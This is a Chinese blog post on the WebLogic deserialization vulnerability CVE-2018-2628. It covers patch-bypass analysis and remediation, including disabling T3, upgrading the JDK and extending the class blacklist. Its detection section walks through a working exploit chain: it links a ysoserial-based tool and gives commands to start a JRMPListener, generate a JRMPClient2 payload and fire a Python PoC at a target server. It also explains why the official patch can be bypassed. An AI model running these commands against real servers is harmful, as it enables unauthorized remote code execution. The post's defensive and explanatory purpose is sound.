安全攻守之道

1、背景概述

    Oracle官方在北京时间2018年4月18日凌晨发布了关键补丁更新,其中包含了OracleWebLogic Server的一个高危反序列化漏洞(CVE-2018-2628),通过该漏洞,攻击者可以在未授权的情况下远程执行代码

    攻击者使用RMI(Remote Method Invocation)远程方法调用,能够让在某个java虚拟机上的对象像调用本地对象一样调用另一个java 虚拟机中的对象上的方法。

2、漏洞分析

    这要从weblogic上一个漏洞(CVE-2017-3248)说起了,在相应的补丁里weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream.class多了一个resolveProxyClass方法,这个resolveProxyClass只是对 RMI 接口类型进行了判断,找一个其他的rmi接口绕过,比如java.rmi.activation.Activator为 RMI 对象激活提供支持。

protected Class<?> resolveProxyClass(String[] paramArrayOfString)
      throws IOException, ClassNotFoundException
    {
      for (String str : paramArrayOfString) {
        if (str.equals("java.rmi.registry.Registry")) {
          throw new InvalidObjectException("Unauthorized proxy deserialization");
        }
      }
      return super.resolveProxyClass(paramArrayOfString);
    }

 3、漏洞检测

    工具下载地址:https://github.com/tdy218/ysoserial-cve-2018-2628

    环境准备:Python 2.7.x, JDK1.7+

    执行命令java -cp ysoserial-0.1-cve-2018-2628-all.jar ysoserial.exploit.JRMPListener 22801 Jdk7u21 "calc.exe",执行后会开启监听端口22801,等待被攻击的服务器发来请求  

    

     执行命令java -jar ysoserial-0.1-cve-2018-2628-all.jar JRMPClient2 192.168.79.1:22801 > 1.txt,执行后会生成payload,这个Payload发送到被攻击的服务器会绕过rmi接口而执行,其会主动请求攻击机器上的JRMPListener 服务,生成的payload如下图,需要将生成的payload配置python脚本wls-cve-2018-2628-poc.py的payload_str变量

     

   

    执行命令:python wls-cve-2018-2628-poc.py 192.168.79.1 7001,这里的192.168.79.1是被攻击服务器的ip,而上面的192.168.79.1是攻击机器的ip

    

    执行上述命令后会看到攻击机器上JRMPListener收到了被攻击机器的请求,这是python发送payload绕过服务器rmi而执行的请求,然后JRMPListener发送了恶意脚本,服务器这时就被攻陷了

    

    

4、漏洞修复

    安装weblogic最新补丁Patch Set Update 180417,安装完成后以为结束了,可是安全监测机构第二次测出来了,于是猜测weblogic是不是正确安装了补丁,观察后台显示的BUG2739508把这个假设给否决了,这就有意思了,官方发布的补丁不起作用,难道安全工程师开小差了,又或者虚张声势,看了一些帖子居然说CVE-2018-2628可以染过的,真是道高一尺,魔高一丈,这些吃饱了没事干的人看了官方的补丁又找到了破绽,分析BUG27395085_10360180417补丁代码,其weblogic.utils.io.oif.ebLogicFilterConfig类中定义了RMI远程反序列化的黑名单,其中”sun.rmi.server.UnicastRef”为该补丁新增的黑名单类

    利用上述payload进行攻击,设置断点跟踪调试,可以发现传入的反序列化类名,依次为java.lang.Object->java.util.Vector->java.lang.reflect.Proxy->java.rmi.server.RemoteObjectInvocationHandler->java.rmi.server.RemoteObject,这也是该payload的反射链。payload使用 ysoserial序列化一个 RemoteObjectInvocationHandler,RemoteObjectInvocationHandler使用UnicastRef建立到远端的 TCP 连接获取RMI registry。而新增的黑名单sun.rmi.server.UnicastRef虽然在payload中使用,但并未包含在反射链中,因此更新补丁后,对于jdk<=1.7.0.21环境,仍能使用该漏洞进行反序列化攻击。

    这个帖子给了三个办法

    1)、此漏洞产生于Weblogic T3服务,关闭T3服务,或控制T3服务的访问权限,能防护该漏洞。尝试后发现服务变得很慢,最终尝试下面的办法

    2)、更新Oracle官方发布的最新补丁,同时升级jdk至1.7.0.21以上版本。升级后确实可以防住漏洞,但是考虑升级jdk会有兼容性问题,最终也放弃了这个办法

    3)、以上两种策略都无法采用,则可以考虑用更改代码的方式。以10.3.6.0为例,在weblogic.utils.io.oif.WebLogicFilterConfig的黑名单DEFAULT_BLACKLIST_CLASSES中添加”java.rmi.server.RemoteObjectInvocationHandler”,编译并更新wlclient.jar、wlthint3client.jar这两个用到该类的包。尝试后修改了WLS_HOME\server\lib里的jar包,发现没有作用,按照上面的方式调试,发现添加的黑名单并没有加载进来,于是怀疑weblogic可能加载了其他jar包,于是整个WLS_HOME搜索了一下WebLogicFilterConfig,发现真还有另一个BUG27395085_10360180417.jar里有,原来weblogic的补丁都是放在这个jar里的,加载的也是补丁的jar,改完后测试漏洞不存在了。

猜你喜欢

转载自my.oschina.net/u/3769440/blog/1853144
今日推荐